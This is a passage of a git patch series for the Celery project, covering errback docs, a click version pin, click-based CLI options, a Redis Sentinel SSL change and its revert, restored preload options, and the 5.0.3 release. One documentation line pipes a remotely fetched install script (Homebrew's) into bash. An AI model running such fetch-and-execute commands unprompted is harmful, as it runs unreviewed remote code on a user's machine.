CONTRIBUTORS.txt | 1 + docs/userguide/calling.rst | 15 +++++---------- docs/userguide/canvas.rst | 2 +- 3 files changed, 7 insertions(+), 11 deletions(-) diff --git a/CONTRIBUTORS.txt b/CONTRIBUTORS.txt index a29157e1e57..2e27e625d43 100644 --- a/CONTRIBUTORS.txt +++ b/CONTRIBUTORS.txt @@ -278,3 +278,4 @@ Dipankar Achinta, 2019/10/24 Sardorbek Imomaliev, 2020/01/24 Maksym Shalenyi, 2020/07/30 Frazer McLean, 2020/09/29 +Henrik Bruåsdal, 2020/11/29 diff --git a/docs/userguide/calling.rst b/docs/userguide/calling.rst index 363e8f2a9a8..efeb1bb6c13 100644 --- a/docs/userguide/calling.rst +++ b/docs/userguide/calling.rst @@ -135,23 +135,18 @@ task that adds 16 to the previous result, forming the expression You can also cause a callback to be applied if task raises an exception -(*errback*), but this behaves differently from a regular callback -in that it will be passed the id of the parent task, not the result. -This is because it may not always be possible to serialize -the exception raised, and so this way the error callback requires -a result backend to be enabled, and the task must retrieve the result -of the task instead. +(*errback*). The worker won't actually call the errback as a task, but will +instead call the errback function directly so that the raw request, exception +and traceback objects can be passed to it. This is an example error callback: .. code-block:: python @app.task - def error_handler(uuid): - result = AsyncResult(uuid) - exc = result.get(propagate=False) + def error_handler(request, exc, traceback): print('Task {0} raised exception: {1!r}\n{2!r}'.format( - uuid, exc, result.traceback)) + request.id, exc, traceback)) it can be added to the task using the ``link_error`` execution option: diff --git a/docs/userguide/canvas.rst b/docs/userguide/canvas.rst index 10240768435..67c42ba583c 100644 --- a/docs/userguide/canvas.rst +++ b/docs/userguide/canvas.rst @@ -569,7 +569,7 @@ Here's an example errback: def log_error(request, exc, traceback): with open(os.path.join('/var/errors', request.id), 'a') as fh: print('--\n\n{0} {1} {2}'.format( - task_id, exc, traceback), file=fh) + request.id, exc, traceback), file=fh) To make it even easier to link tasks together there's a special signature called :class:`~celery.chain` that lets From ee13eae8e20896beadd89dec8f521bd781522416 Mon Sep 17 00:00:00 2001 From: Stuart Axon Date: Mon, 30 Nov 2020 13:10:46 +0000 Subject: [PATCH 085/415] Update testing.rst (#6507) Use double back ticks for some code examples, so that quotes don't get converted into smart-quotes. https://github.com/celery/celery/issues/6497 --- docs/userguide/testing.rst | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/docs/userguide/testing.rst b/docs/userguide/testing.rst index 330a24d1dc2..1df28b21978 100644 --- a/docs/userguide/testing.rst +++ b/docs/userguide/testing.rst @@ -103,10 +103,10 @@ Enabling Celery initially ships the plugin in a disabled state, to enable it you can either: - * `pip install celery[pytest]` - * `pip install pytest-celery` - * or add an environment variable `PYTEST_PLUGINS=celery.contrib.pytest` - * or add `pytest_plugins = ("celery.contrib.pytest", )` to your root conftest.py + * ``pip install celery[pytest]`` + * ``pip install pytest-celery`` + * or add an environment variable ``PYTEST_PLUGINS=celery.contrib.pytest`` + * or add ``pytest_plugins = ("celery.contrib.pytest", )`` to your root conftest.py Marks From 208e90e40f4aa3bfd5bc75600af9d1ed4e1efa28 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Wed, 2 Dec 2020 12:46:44 +0200 Subject: [PATCH 086/415] Don't upgrade click to 8.x since click-repl doesn't support it yet. Fixes #6511. Upstream issue: https://github.com/click-contrib/click-repl/issues/72 --- requirements/default.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements/default.txt b/requirements/default.txt index 3eafbb470f5..33c3b6be9f8 100644 --- a/requirements/default.txt +++ b/requirements/default.txt @@ -2,7 +2,7 @@ pytz>dev billiard>=3.6.3.0,<4.0 kombu>=5.0.0,<6.0 vine>=5.0.0,<6.0 -click>=7.0 +click>=7.0,<8.0 click-didyoumean>=0.0.3 click-repl>=0.1.6 click-plugins>=1.1.1 From 3a81c267f9ebc54b39be932607041bc77ece5857 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Wed, 2 Dec 2020 15:08:10 +0200 Subject: [PATCH 087/415] Update documentation on changes to custom CLI options in 5.0. Fixes #6380. --- docs/conf.py | 1 + docs/userguide/extending.rst | 17 +++++++---------- docs/whatsnew-5.0.rst | 2 ++ 3 files changed, 10 insertions(+), 10 deletions(-) diff --git a/docs/conf.py b/docs/conf.py index 6c7dbc6aaad..6cc0f92fe64 100644 --- a/docs/conf.py +++ b/docs/conf.py @@ -23,6 +23,7 @@ ], extra_intersphinx_mapping={ 'cyanide': ('https://cyanide.readthedocs.io/en/latest', None), + 'click': ('https://click.palletsprojects.com/en/7.x/', None), }, apicheck_ignore_modules=[ 'celery.__main__', diff --git a/docs/userguide/extending.rst b/docs/userguide/extending.rst index 21ff68ecd2a..443255e1789 100644 --- a/docs/userguide/extending.rst +++ b/docs/userguide/extending.rst @@ -729,25 +729,22 @@ You can add additional command-line options to the ``worker``, ``beat``, and ``events`` commands by modifying the :attr:`~@user_options` attribute of the application instance. -Celery commands uses the :mod:`argparse` module to parse command-line -arguments, and so to add custom arguments you need to specify a callback -that takes a :class:`argparse.ArgumentParser` instance - and adds arguments. -Please see the :mod:`argparse` documentation to read about the fields supported. +Celery commands uses the :mod:`click` module to parse command-line +arguments, and so to add custom arguments you need to add :class:`click.Option` instances +to the relevant set. Example adding a custom option to the :program:`celery worker` command: .. code-block:: python from celery import Celery + from click import Option app = Celery(broker='amqp://') - def add_worker_arguments(parser): - parser.add_argument( - '--enable-my-option', action='store_true', default=False, - help='Enable custom option.', - ), - app.user_options['worker'].add(add_worker_arguments) + app.user_options['worker'].add(Option(('--enable-my-option',), + is_flag=True, + help='Enable custom option.')) All bootsteps will now receive this argument as a keyword argument to diff --git a/docs/whatsnew-5.0.rst b/docs/whatsnew-5.0.rst index 3f93ce3e979..7e38c924a13 100644 --- a/docs/whatsnew-5.0.rst +++ b/docs/whatsnew-5.0.rst @@ -275,6 +275,8 @@ As a result a few breaking changes has been introduced: - :program:`celery amqp` and :program:`celery shell` require the `repl` sub command to start a shell. You can now also invoke specific commands without a shell. Type `celery amqp --help` or `celery shell --help` for details. +- The API for adding user options has changed. + Refer to the :ref:`documentation ` for details. Click provides shell completion `out of the box `_. This functionality replaces our previous bash completion script and adds From 1c076a646ec04b9c920ff75b79a3911096da2838 Mon Sep 17 00:00:00 2001 From: Sonya Chhabra Date: Wed, 2 Dec 2020 20:16:52 -0500 Subject: [PATCH 088/415] update step to install homebrew --- docs/getting-started/brokers/rabbitmq.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/getting-started/brokers/rabbitmq.rst b/docs/getting-started/brokers/rabbitmq.rst index 6f5d95dd8ab..430844bdfec 100644 --- a/docs/getting-started/brokers/rabbitmq.rst +++ b/docs/getting-started/brokers/rabbitmq.rst @@ -86,7 +86,7 @@ documentation`_: .. code-block:: console - ruby -e "$(curl -fsSL https://raw.github.com/Homebrew/homebrew/go/install)" + /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" Finally, we can install RabbitMQ using :command:`brew`: From 18a0963ed36f87b8fb884ad27cfc2b7f1ca9f53c Mon Sep 17 00:00:00 2001 From: AbdealiJK Date: Tue, 10 Nov 2020 10:21:49 +0530 Subject: [PATCH 089/415] redis: Support Sentinel with SSL Use the SentinelManagedSSLConnection when SSL is enabled for the transport. The redis-py project doesn't have a connection class for SSL+Sentinel yet. So, create a class in redis.py to add that functionality. --- celery/backends/redis.py | 20 ++++++++++++++++++-- t/unit/backends/test_redis.py | 31 +++++++++++++++++++++++++++++++ 2 files changed, 49 insertions(+), 2 deletions(-) diff --git a/celery/backends/redis.py b/celery/backends/redis.py index dd3677f569c..6820047c752 100644 --- a/celery/backends/redis.py +++ b/celery/backends/redis.py @@ -185,6 +185,7 @@ class RedisBackend(BaseKeyValueStoreBackend, AsyncBackendMixin): #: :pypi:`redis` client module. redis = redis + connection_class_ssl = redis.SSLConnection if redis else None #: Maximum number of connections in the pool. max_connections = None @@ -236,7 +237,7 @@ def __init__(self, host=None, port=None, db=None, password=None, ssl = _get('redis_backend_use_ssl') if ssl: self.connparams.update(ssl) - self.connparams['connection_class'] = redis.SSLConnection + self.connparams['connection_class'] = self.connection_class_ssl if url: self.connparams = self._params_from_url(url, self.connparams) @@ -245,7 +246,7 @@ def __init__(self, host=None, port=None, db=None, password=None, # redis_backend_use_ssl dict, check ssl_cert_reqs is valid. If set # via query string ssl_cert_reqs will be a string so convert it here if ('connection_class' in self.connparams and - self.connparams['connection_class'] is redis.SSLConnection): + issubclass(self.connparams['connection_class'], redis.SSLConnection)): ssl_cert_reqs_missing = 'MISSING' ssl_string_to_constant = {'CERT_REQUIRED': CERT_REQUIRED, 'CERT_OPTIONAL': CERT_OPTIONAL, @@ -535,10 +536,25 @@ def __reduce__(self, args=(), kwargs=None): ) +if getattr(redis, "sentinel", None): + class SentinelManagedSSLConnection( + redis.sentinel.SentinelManagedConnection, + redis.SSLConnection): + """Connect to a Redis server using Sentinel + TLS. + + Use Sentinel to identify which Redis server is the current master + to connect to and when connecting to the Master server, use an + SSL Connection. + """ + + pass + + class SentinelBackend(RedisBackend): """Redis sentinel task result store.""" sentinel = getattr(redis, "sentinel", None) + connection_class_ssl = SentinelManagedSSLConnection if sentinel else None def __init__(self, *args, **kwargs): if self.sentinel is None: diff --git a/t/unit/backends/test_redis.py b/t/unit/backends/test_redis.py index f534077a4fd..3bacc5fcc67 100644 --- a/t/unit/backends/test_redis.py +++ b/t/unit/backends/test_redis.py @@ -1126,3 +1126,34 @@ def test_get_pool(self): ) pool = x._get_pool(**x.connparams) assert pool + + def test_backend_ssl(self): + pytest.importorskip('redis') + + from celery.backends.redis import SentinelBackend + self.app.conf.redis_backend_use_ssl = { + 'ssl_cert_reqs': "CERT_REQUIRED", + 'ssl_ca_certs': '/path/to/ca.crt', + 'ssl_certfile': '/path/to/client.crt', + 'ssl_keyfile': '/path/to/client.key', + } + self.app.conf.redis_socket_timeout = 30.0 + self.app.conf.redis_socket_connect_timeout = 100.0 + x = SentinelBackend( + 'sentinel://:bosco@vandelay.com:123//1', app=self.app, + ) + assert x.connparams + assert len(x.connparams['hosts']) == 1 + assert x.connparams['hosts'][0]['host'] == 'vandelay.com' + assert x.connparams['hosts'][0]['db'] == 1 + assert x.connparams['hosts'][0]['port'] == 123 + assert x.connparams['hosts'][0]['password'] == 'bosco' + assert x.connparams['socket_timeout'] == 30.0 + assert x.connparams['socket_connect_timeout'] == 100.0 + assert x.connparams['ssl_cert_reqs'] == ssl.CERT_REQUIRED + assert x.connparams['ssl_ca_certs'] == '/path/to/ca.crt' + assert x.connparams['ssl_certfile'] == '/path/to/client.crt' + assert x.connparams['ssl_keyfile'] == '/path/to/client.key' + + from celery.backends.redis import SentinelManagedSSLConnection + assert x.connparams['connection_class'] is SentinelManagedSSLConnection From 0fa4db8889325fd774f7e89ebb219a87fc1d8cfb Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Thu, 3 Dec 2020 17:54:32 +0200 Subject: [PATCH 090/415] Revert "redis: Support Sentinel with SSL" (#6518) This reverts commit 18a0963ed36f87b8fb884ad27cfc2b7f1ca9f53c. --- celery/backends/redis.py | 20 ++------------------ t/unit/backends/test_redis.py | 31 ------------------------------- 2 files changed, 2 insertions(+), 49 deletions(-) diff --git a/celery/backends/redis.py b/celery/backends/redis.py index 6820047c752..dd3677f569c 100644 --- a/celery/backends/redis.py +++ b/celery/backends/redis.py @@ -185,7 +185,6 @@ class RedisBackend(BaseKeyValueStoreBackend, AsyncBackendMixin): #: :pypi:`redis` client module. redis = redis - connection_class_ssl = redis.SSLConnection if redis else None #: Maximum number of connections in the pool. max_connections = None @@ -237,7 +236,7 @@ def __init__(self, host=None, port=None, db=None, password=None, ssl = _get('redis_backend_use_ssl') if ssl: self.connparams.update(ssl) - self.connparams['connection_class'] = self.connection_class_ssl + self.connparams['connection_class'] = redis.SSLConnection if url: self.connparams = self._params_from_url(url, self.connparams) @@ -246,7 +245,7 @@ def __init__(self, host=None, port=None, db=None, password=None, # redis_backend_use_ssl dict, check ssl_cert_reqs is valid. If set # via query string ssl_cert_reqs will be a string so convert it here if ('connection_class' in self.connparams and - issubclass(self.connparams['connection_class'], redis.SSLConnection)): + self.connparams['connection_class'] is redis.SSLConnection): ssl_cert_reqs_missing = 'MISSING' ssl_string_to_constant = {'CERT_REQUIRED': CERT_REQUIRED, 'CERT_OPTIONAL': CERT_OPTIONAL, @@ -536,25 +535,10 @@ def __reduce__(self, args=(), kwargs=None): ) -if getattr(redis, "sentinel", None): - class SentinelManagedSSLConnection( - redis.sentinel.SentinelManagedConnection, - redis.SSLConnection): - """Connect to a Redis server using Sentinel + TLS. - - Use Sentinel to identify which Redis server is the current master - to connect to and when connecting to the Master server, use an - SSL Connection. - """ - - pass - - class SentinelBackend(RedisBackend): """Redis sentinel task result store.""" sentinel = getattr(redis, "sentinel", None) - connection_class_ssl = SentinelManagedSSLConnection if sentinel else None def __init__(self, *args, **kwargs): if self.sentinel is None: diff --git a/t/unit/backends/test_redis.py b/t/unit/backends/test_redis.py index 3bacc5fcc67..f534077a4fd 100644 --- a/t/unit/backends/test_redis.py +++ b/t/unit/backends/test_redis.py @@ -1126,34 +1126,3 @@ def test_get_pool(self): ) pool = x._get_pool(**x.connparams) assert pool - - def test_backend_ssl(self): - pytest.importorskip('redis') - - from celery.backends.redis import SentinelBackend - self.app.conf.redis_backend_use_ssl = { - 'ssl_cert_reqs': "CERT_REQUIRED", - 'ssl_ca_certs': '/path/to/ca.crt', - 'ssl_certfile': '/path/to/client.crt', - 'ssl_keyfile': '/path/to/client.key', - } - self.app.conf.redis_socket_timeout = 30.0 - self.app.conf.redis_socket_connect_timeout = 100.0 - x = SentinelBackend( - 'sentinel://:bosco@vandelay.com:123//1', app=self.app, - ) - assert x.connparams - assert len(x.connparams['hosts']) == 1 - assert x.connparams['hosts'][0]['host'] == 'vandelay.com' - assert x.connparams['hosts'][0]['db'] == 1 - assert x.connparams['hosts'][0]['port'] == 123 - assert x.connparams['hosts'][0]['password'] == 'bosco' - assert x.connparams['socket_timeout'] == 30.0 - assert x.connparams['socket_connect_timeout'] == 100.0 - assert x.connparams['ssl_cert_reqs'] == ssl.CERT_REQUIRED - assert x.connparams['ssl_ca_certs'] == '/path/to/ca.crt' - assert x.connparams['ssl_certfile'] == '/path/to/client.crt' - assert x.connparams['ssl_keyfile'] == '/path/to/client.key' - - from celery.backends.redis import SentinelManagedSSLConnection - assert x.connparams['connection_class'] is SentinelManagedSSLConnection From 4fad9072ff4eca154ab0ac0b76f3a54fd7e738fe Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Thu, 3 Dec 2020 18:16:10 +0200 Subject: [PATCH 091/415] Reintroduce support for custom preload options (#6516) * Restore preload options. Fixes #6307. * Document breaking changes for preload options in 5.0. Fixes #6379. --- celery/bin/amqp.py | 3 +++ celery/bin/base.py | 21 +++++++++++++++++++++ celery/bin/beat.py | 4 +++- celery/bin/call.py | 5 +++-- celery/bin/celery.py | 3 +++ celery/bin/control.py | 6 +++++- celery/bin/events.py | 5 ++++- celery/bin/graph.py | 3 ++- celery/bin/list.py | 3 ++- celery/bin/logtool.py | 3 ++- celery/bin/migrate.py | 4 +++- celery/bin/multi.py | 3 ++- celery/bin/purge.py | 4 +++- celery/bin/result.py | 4 +++- celery/bin/shell.py | 4 +++- celery/bin/upgrade.py | 4 +++- celery/bin/worker.py | 4 +++- docs/userguide/extending.rst | 19 ++++++------------- 18 files changed, 74 insertions(+), 28 deletions(-) diff --git a/celery/bin/amqp.py b/celery/bin/amqp.py index e8b7f24066c..ab8ab5f0100 100644 --- a/celery/bin/amqp.py +++ b/celery/bin/amqp.py @@ -8,6 +8,8 @@ __all__ = ('amqp',) +from celery.bin.base import handle_preload_options + def dump_message(message): if message is None: @@ -54,6 +56,7 @@ def reconnect(self): @click.group(invoke_without_command=True) @click.pass_context +@handle_preload_options def amqp(ctx): """AMQP Administration Shell. diff --git a/celery/bin/base.py b/celery/bin/base.py index 52f94382c65..78d6371b420 100644 --- a/celery/bin/base.py +++ b/celery/bin/base.py @@ -1,6 +1,7 @@ """Click customizations for Celery.""" import json from collections import OrderedDict +from functools import update_wrapper from pprint import pformat import click @@ -8,6 +9,7 @@ from kombu.utils.objects import cached_property from celery._state import get_current_app +from celery.signals import user_preload_options from celery.utils import text from celery.utils.log import mlevel from celery.utils.time import maybe_iso8601 @@ -113,6 +115,25 @@ def say_chat(self, direction, title, body='', show_body=False): self.echo(body) +def handle_preload_options(f): + def caller(ctx, *args, **kwargs): + app = ctx.obj.app + + preload_options = [o.name for o in app.user_options.get('preload', [])] + + if preload_options: + user_options = { + preload_option: kwargs[preload_option] + for preload_option in preload_options + } + + user_preload_options.send(sender=f, app=app, options=user_options) + + return f(ctx, *args, **kwargs) + + return update_wrapper(caller, f) + + class CeleryOption(click.Option): """Customized option for Celery.""" diff --git a/celery/bin/beat.py b/celery/bin/beat.py index 54a74c14c7e..145b44e9720 100644 --- a/celery/bin/beat.py +++ b/celery/bin/beat.py @@ -3,7 +3,8 @@ import click -from celery.bin.base import LOG_LEVEL, CeleryDaemonCommand, CeleryOption +from celery.bin.base import (LOG_LEVEL, CeleryDaemonCommand, CeleryOption, + handle_preload_options) from celery.platforms import detached, maybe_drop_privileges @@ -43,6 +44,7 @@ help_group="Beat Options", help="Logging level.") @click.pass_context +@handle_preload_options def beat(ctx, detach=False, logfile=None, pidfile=None, uid=None, gid=None, umask=None, workdir=None, **kwargs): """Start the beat periodic task scheduler.""" diff --git a/celery/bin/call.py b/celery/bin/call.py index c2744a4cd28..35ca34e3f33 100644 --- a/celery/bin/call.py +++ b/celery/bin/call.py @@ -2,9 +2,10 @@ import click from celery.bin.base import (ISO8601, ISO8601_OR_FLOAT, JSON, CeleryCommand, - CeleryOption) + CeleryOption, handle_preload_options) +@click.command(cls=CeleryCommand) @click.argument('name') @click.option('-a', '--args', @@ -52,8 +53,8 @@ cls=CeleryOption, help_group="Routing Options", help="custom routing key.") -@click.command(cls=CeleryCommand) @click.pass_context +@handle_preload_options def call(ctx, name, args, kwargs, eta, countdown, expires, serializer, queue, exchange, routing_key): """Call a task by name.""" task_id = ctx.obj.app.send_task( diff --git a/celery/bin/celery.py b/celery/bin/celery.py index 095766c0f4d..c6b862d0f10 100644 --- a/celery/bin/celery.py +++ b/celery/bin/celery.py @@ -145,6 +145,9 @@ def celery(ctx, app, broker, result_backend, loader, config, workdir, beat.params.extend(ctx.obj.app.user_options.get('beat', [])) events.params.extend(ctx.obj.app.user_options.get('events', [])) + for command in celery.commands.values(): + command.params.extend(ctx.obj.app.user_options.get('preload', [])) + @celery.command(cls=CeleryCommand) @click.pass_context diff --git a/celery/bin/control.py b/celery/bin/control.py index a48de89ce72..3fe8eb76b42 100644 --- a/celery/bin/control.py +++ b/celery/bin/control.py @@ -4,7 +4,8 @@ import click from kombu.utils.json import dumps -from celery.bin.base import COMMA_SEPARATED_LIST, CeleryCommand, CeleryOption +from celery.bin.base import (COMMA_SEPARATED_LIST, CeleryCommand, + CeleryOption, handle_preload_options) from celery.platforms import EX_UNAVAILABLE from celery.utils import text from celery.worker.control import Panel @@ -71,6 +72,7 @@ def _compile_arguments(action, args): help_group='Remote Control Options', help='Use json as output format.') @click.pass_context +@handle_preload_options def status(ctx, timeout, destination, json, **kwargs): """Show list of workers that are online.""" callback = None if json else partial(_say_remote_command_reply, ctx) @@ -115,6 +117,7 @@ def status(ctx, timeout, destination, json, **kwargs): help_group='Remote Control Options', help='Use json as output format.') @click.pass_context +@handle_preload_options def inspect(ctx, action, timeout, destination, json, **kwargs): """Inspect the worker at runtime. @@ -164,6 +167,7 @@ def inspect(ctx, action, timeout, destination, json, **kwargs): help_group='Remote Control Options', help='Use json as output format.') @click.pass_context +@handle_preload_options def control(ctx, action, timeout, destination, json): """Workers remote control. diff --git a/celery/bin/events.py b/celery/bin/events.py index 0e3bd1a8aea..dc535f5b7b7 100644 --- a/celery/bin/events.py +++ b/celery/bin/events.py @@ -4,7 +4,8 @@ import click -from celery.bin.base import LOG_LEVEL, CeleryDaemonCommand, CeleryOption +from celery.bin.base import (LOG_LEVEL, CeleryDaemonCommand, CeleryOption, + handle_preload_options) from celery.platforms import detached, set_process_title, strargv @@ -47,6 +48,7 @@ def _run_evtop(app): raise click.UsageError("The curses module is required for this command.") +@handle_preload_options @click.command(cls=CeleryDaemonCommand) @click.option('-d', '--dump', @@ -78,6 +80,7 @@ def _run_evtop(app): help_group="Snapshot", help="Logging level.") @click.pass_context +@handle_preload_options def events(ctx, dump, camera, detach, frequency, maxrate, loglevel, **kwargs): """Event-stream utilities.""" app = ctx.obj.app diff --git a/celery/bin/graph.py b/celery/bin/graph.py index 3013077b4b5..93b01e808fa 100644 --- a/celery/bin/graph.py +++ b/celery/bin/graph.py @@ -4,11 +4,12 @@ import click -from celery.bin.base import CeleryCommand +from celery.bin.base import CeleryCommand, handle_preload_options from celery.utils.graph import DependencyGraph, GraphFormatter @click.group() +@handle_preload_options def graph(): """The ``celery graph`` command.""" diff --git a/celery/bin/list.py b/celery/bin/list.py index fefc5e73fde..06c4fbf28bf 100644 --- a/celery/bin/list.py +++ b/celery/bin/list.py @@ -1,10 +1,11 @@ """The ``celery list bindings`` command, used to inspect queue bindings.""" import click -from celery.bin.base import CeleryCommand +from celery.bin.base import CeleryCommand, handle_preload_options @click.group(name="list") +@handle_preload_options def list_(): """Get info from broker. diff --git a/celery/bin/logtool.py b/celery/bin/logtool.py index 07dbffa8767..83e8064bdb0 100644 --- a/celery/bin/logtool.py +++ b/celery/bin/logtool.py @@ -5,7 +5,7 @@ import click -from celery.bin.base import CeleryCommand +from celery.bin.base import CeleryCommand, handle_preload_options __all__ = ('logtool',) @@ -111,6 +111,7 @@ def report(self): @click.group() +@handle_preload_options def logtool(): """The ``celery logtool`` command.""" diff --git a/celery/bin/migrate.py b/celery/bin/migrate.py index c5ba9b33c43..febaaaacab2 100644 --- a/celery/bin/migrate.py +++ b/celery/bin/migrate.py @@ -2,7 +2,8 @@ import click from kombu import Connection -from celery.bin.base import CeleryCommand, CeleryOption +from celery.bin.base import (CeleryCommand, CeleryOption, + handle_preload_options) from celery.contrib.migrate import migrate_tasks @@ -44,6 +45,7 @@ help_group='Migration Options', help='Continually migrate tasks until killed.') @click.pass_context +@handle_preload_options def migrate(ctx, source, destination, **kwargs): """Migrate tasks from one broker to another. diff --git a/celery/bin/multi.py b/celery/bin/multi.py index 12bb52b87d2..82a86a6129e 100644 --- a/celery/bin/multi.py +++ b/celery/bin/multi.py @@ -108,7 +108,7 @@ from celery import VERSION_BANNER from celery.apps.multi import Cluster, MultiParser, NamespacedOptionParser -from celery.bin.base import CeleryCommand +from celery.bin.base import CeleryCommand, handle_preload_options from celery.platforms import EX_FAILURE, EX_OK, signals from celery.utils import term from celery.utils.text import pluralize @@ -468,6 +468,7 @@ def DOWN(self): } ) @click.pass_context +@handle_preload_options def multi(ctx): """Start multiple worker instances.""" cmd = MultiTool(quiet=ctx.obj.quiet, no_color=ctx.obj.no_color) diff --git a/celery/bin/purge.py b/celery/bin/purge.py index 609a9a0f660..2629ac7eff3 100644 --- a/celery/bin/purge.py +++ b/celery/bin/purge.py @@ -1,7 +1,8 @@ """The ``celery purge`` program, used to delete messages from queues.""" import click -from celery.bin.base import COMMA_SEPARATED_LIST, CeleryCommand, CeleryOption +from celery.bin.base import (COMMA_SEPARATED_LIST, CeleryCommand, + CeleryOption, handle_preload_options) from celery.utils import text @@ -25,6 +26,7 @@ help_group='Purging Options', help="Comma separated list of queues names not to purge.") @click.pass_context +@handle_preload_options def purge(ctx, force, queues, exclude_queues): """Erase all messages from all known task queues. diff --git a/celery/bin/result.py b/celery/bin/result.py index d90421c4cde..c126fb588ee 100644 --- a/celery/bin/result.py +++ b/celery/bin/result.py @@ -1,7 +1,8 @@ """The ``celery result`` program, used to inspect task results.""" import click -from celery.bin.base import CeleryCommand, CeleryOption +from celery.bin.base import (CeleryCommand, CeleryOption, + handle_preload_options) @click.command(cls=CeleryCommand) @@ -17,6 +18,7 @@ help_group='Result Options', help="Show traceback instead.") @click.pass_context +@handle_preload_options def result(ctx, task_id, task, traceback): """Print the return value for a given task id.""" app = ctx.obj.app diff --git a/celery/bin/shell.py b/celery/bin/shell.py index b3b77e02fdb..378448a24cf 100644 --- a/celery/bin/shell.py +++ b/celery/bin/shell.py @@ -6,7 +6,8 @@ import click -from celery.bin.base import CeleryCommand, CeleryOption +from celery.bin.base import (CeleryCommand, CeleryOption, + handle_preload_options) def _invoke_fallback_shell(locals): @@ -114,6 +115,7 @@ def _invoke_default_shell(locals): help_group="Shell Options", help="Use gevent.") @click.pass_context +@handle_preload_options def shell(ctx, ipython=False, bpython=False, python=False, without_tasks=False, eventlet=False, gevent=False): diff --git a/celery/bin/upgrade.py b/celery/bin/upgrade.py index 1518297172c..e083995b674 100644 --- a/celery/bin/upgrade.py +++ b/celery/bin/upgrade.py @@ -5,11 +5,13 @@ import click from celery.app import defaults -from celery.bin.base import CeleryCommand, CeleryOption +from celery.bin.base import (CeleryCommand, CeleryOption, + handle_preload_options) from celery.utils.functional import pass1 @click.group() +@handle_preload_options def upgrade(): """Perform upgrade between versions.""" diff --git a/celery/bin/worker.py b/celery/bin/worker.py index cd826b89b17..ca16a19b4e3 100644 --- a/celery/bin/worker.py +++ b/celery/bin/worker.py @@ -9,7 +9,8 @@ from celery import concurrency from celery.bin.base import (COMMA_SEPARATED_LIST, LOG_LEVEL, - CeleryDaemonCommand, CeleryOption) + CeleryDaemonCommand, CeleryOption, + handle_preload_options) from celery.platforms import (EX_FAILURE, EX_OK, detached, maybe_drop_privileges) from celery.utils.log import get_logger @@ -273,6 +274,7 @@ def detach(path, argv, logfile=None, pidfile=None, uid=None, cls=CeleryOption, help_group="Embedded Beat Options") @click.pass_context +@handle_preload_options def worker(ctx, hostname=None, pool_cls=None, app=None, uid=None, gid=None, loglevel=None, logfile=None, pidfile=None, statedb=None, **kwargs): diff --git a/docs/userguide/extending.rst b/docs/userguide/extending.rst index 443255e1789..cf3a9929be8 100644 --- a/docs/userguide/extending.rst +++ b/docs/userguide/extending.rst @@ -769,29 +769,22 @@ Preload options ~~~~~~~~~~~~~~~ The :program:`celery` umbrella command supports the concept of 'preload -options'. These are special options passed to all sub-commands and parsed -outside of the main parsing step. +options'. These are special options passed to all sub-commands. -The list of default preload options can be found in the API reference: -:mod:`celery.bin.base`. - -You can add new preload options too, for example to specify a configuration +You can add new preload options, for example to specify a configuration template: .. code-block:: python from celery import Celery from celery import signals - from celery.bin import Option + from click import Option app = Celery() - def add_preload_options(parser): - parser.add_argument( - '-Z', '--template', default='default', - help='Configuration template to use.', - ) - app.user_options['preload'].add(add_preload_options) + app.user_options['preload'].add(Option(('-Z', '--template'), + default='default', + help='Configuration template to use.')) @signals.user_preload_options.connect def on_preload_parsed(options, **kwargs): From 39db90cc83b8a283933fb5a6d1b16b46837d1ced Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Thu, 3 Dec 2020 18:19:47 +0200 Subject: [PATCH 092/415] Changelog for 5.0.3. --- Changelog.rst | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/Changelog.rst b/Changelog.rst index b65686a6708..407d9e4acc3 100644 --- a/Changelog.rst +++ b/Changelog.rst @@ -8,6 +8,22 @@ This document contains change notes for bugfix & new features in the 5.0.x series, please see :ref:`whatsnew-5.0` for an overview of what's new in Celery 5.0. +.. _version-5.0.3: + +5.0.3 +===== +:release-date: 2020-12-03 6.30 P.M UTC+2:00 +:release-by: Omer Katz + +- Make `--workdir` eager for early handling (#6457). +- When using the MongoDB backend, don't cleanup if result_expires is 0 or None (#6462). +- Fix passing queues into purge command (#6469). +- Restore `app.start()` and `app.worker_main()` (#6481). +- Detaching no longer creates an extra log file (#6426). +- Result backend instances are now thread local to ensure thread safety (#6416). +- Don't upgrade click to 8.x since click-repl doesn't support it yet. +- Restore preload options (#6516). + .. _version-5.0.2: 5.0.2 From a4d942b3156961a8fdd6829121bdc52fc99da30a Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Thu, 3 Dec 2020 18:20:36 +0200 Subject: [PATCH 093/415] =?UTF-8?q?Bump=20version:=205.0.2=20=E2=86=92=205?= =?UTF-8?q?.0.3?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .bumpversion.cfg | 2 +- README.rst | 6 +++--- celery/__init__.py | 2 +- docs/includes/introduction.txt | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.bumpversion.cfg b/.bumpversion.cfg index 7be80a9bab6..6ea6b829c07 100644 --- a/.bumpversion.cfg +++ b/.bumpversion.cfg @@ -1,5 +1,5 @@ [bumpversion] -current_version = 5.0.2 +current_version = 5.0.3 commit = True tag = True parse = (?P\d+)\.(?P\d+)\.(?P\d+)(?P[a-z\d]+)? diff --git a/README.rst b/README.rst index 529669641d9..31c09d27b39 100644 --- a/README.rst +++ b/README.rst @@ -2,7 +2,7 @@ |build-status| |coverage| |license| |wheel| |pyversion| |pyimp| |ocbackerbadge| |ocsponsorbadge| -:Version: 5.0.2 (singularity) +:Version: 5.0.3 (singularity) :Web: http://celeryproject.org/ :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ @@ -57,7 +57,7 @@ in such a way that the client enqueues an URL to be requested by a worker. What do I need? =============== -Celery version 5.0.2 runs on, +Celery version 5.0.3 runs on, - Python (3.6, 3.7, 3.8) - PyPy3.6 (7.6) @@ -89,7 +89,7 @@ Get Started =========== If this is the first time you're trying to use Celery, or you're -new to Celery 5.0.2 coming from previous versions then you should read our +new to Celery 5.0.3 coming from previous versions 